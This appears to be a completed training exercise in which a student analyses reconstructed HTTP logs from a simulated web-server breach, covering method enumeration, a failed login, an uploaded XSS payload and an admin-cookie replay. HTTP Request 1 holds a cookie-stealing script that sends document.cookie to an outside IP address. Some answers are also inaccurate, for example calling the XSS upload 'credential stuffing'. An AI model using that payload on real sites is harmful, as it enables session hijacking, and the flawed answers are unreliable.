Cybersecurity

Activity File

Activity File: HTTP Requests and Responses

In this activity, you will play the role of a web app security engineer.

- There is a recent breach in one of your company's HTTP servers. Before the server goes down, a suspicious IP address sends it a rapid sequence of requests and responses.
- The administrators of the web server attempt to recover and reconstruct much of the client–server HTTP request and response traffic.
- You are tasked with investigating the remaining HTTP logs to figure out what happened during the attack on the web server.

Use the HTTP Reference Sheet while working on this activity.

Use the following Geeks for Geeks webpage to learn how web-based cross-site scripting attacks are used to steal cookies: Cookie Tracking and Stealing Using Cross-site Scripting.

- This information will help you answer the upcoming questions. Search the internet for "cross-site scripting cookie stealing" if you still need more resources.

Instructions

The partially reconstructed HTTP requests and responses below were, at some point, exchanged with the suspicious IP address. A lot of requests and responses are missing, so we can only partially understand the attack.

Review the partially reconstructed HTTP requests and responses. Answer the questions to figure out what happened during the attack.

1. The following partial response was sent to the suspicious IP address. The request was completely lost and unrecoverable.

   HTTP Response 1

```
Unset
  HTTP/1.1 200 OK
```

```
  Date: Tue, 25 Sep 2018 21:21:20 GMT

  Server: Apache/2.2.21 (Unix mod_ssl/2.2.21 OpenSSL/1.0.0k DAV/2
PHP/5.4.3)

  WWW-Authenticate: Cookie realm="fakesite"

  Allow: OPTIONS, GET, POST, HEAD, PUT
```

- **Question:** What kind of request was used here that would cause an HTTP server to tell the client all the HTTP request methods it will respond to?
  This would be an options request. It told the client it will accept OPTIONS, GET, POST, HEAD, and PUT
- **Analysis:** Could an attacker use this HTTP request method to gather information about an HTTP server? Why or why not?
  This exposes the methods used by server admins and exposes potential vulnerabilities in the versions of software being used.

2. The system admins report some corrupted HTTP traffic that occurred before the following recovered response:

HTTP Response 2

Unset

```
  HTTP/1.1 401 Unauthorized

  WWW-Authenticate: Cookie realm="fakesite"

          form-action="/login"

          cookie-name=AUTH-COOKIE

  Content-Type: text/html



  <title>Unauthorized</title>

  <form action="/login" method=POST>
```

```
<input type=hidden name=referer value="/fakesite/">

<p><label>Username: <input name=user></label>

<p><label>Password: <input name=pwd type=password></label>

<p><button type=submit>Sign in</button>

<p><a href="/register">Register for an account</a>

</form>
```

- **Questions:**
  - What status code was returned in this response? 401 unauthorized
  - According to the response body, what kind of method was used to generate this HTTP response? POST
    - What sort of information was input to this HTTP request? Username and password
- **Analysis:** Based on the information gathered from the status code and response body, what did the attacker try to do? Were they successful?
  The attacker attempted to use a username and password to gain access to the site but the credentials were invalid so they were not successful.

3. The following HTTP request and response were also recovered:

HTTP Request 1

```
Unset
PUT /XSS.html HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

Host: www.fakesite.com/blog


<script type="text/javascript">
```

```
document.location='http://133.7.13.37/cookiestealer.php?c='+docum
ent.cookie;

  </script>
```

4. **HTTP Response 3**

```
Unset
  HTTP/1.1 201 Created

  Date: Mon, 05 May 2014 12:28:53 GMT

  Server: Apache/2.2.14 (Win32)

  Content-type: text/html

  Content-length: 30

  Connection: Closed
```

   - **Questions:**
     - What type of method was used in the request? PUT request
     - What file name was uploaded to the site, according to the request body? The attacker injected a javascript to redirect a user to the below php file `http://133.7.13.37/cookiestealer.php`
   - **Analysis:**
     - Based on the request method and request body, what do you think happened here? The attacker attempted to use credential stuffing to steal an admin credential.
     - How did the server respond? The server successfully uploaded the file.
5. The next partial request and header were received by your HTTP server. The data after this log was completely lost:

   HTTP Request 4

```
Unset
  GET https://www.fakesite.com/admin HTTP/1.1

  Cookie: $Version="1"; AUTH-COOKIE="sdf354s5c1s8e1s";
$Path="/admin"
```

- **Question:** Look back at the previous response (HTTP Response 3). What does the header indicate in this GET request?
  The hacker is requesting a stolen admin authentication cookie from the server to gain access to the admin page on the website.
- **Analysis:** Is there anything interesting about the URL requested?
  The url has changed from /blog to /admin indicating the hacker has escalated their privileges.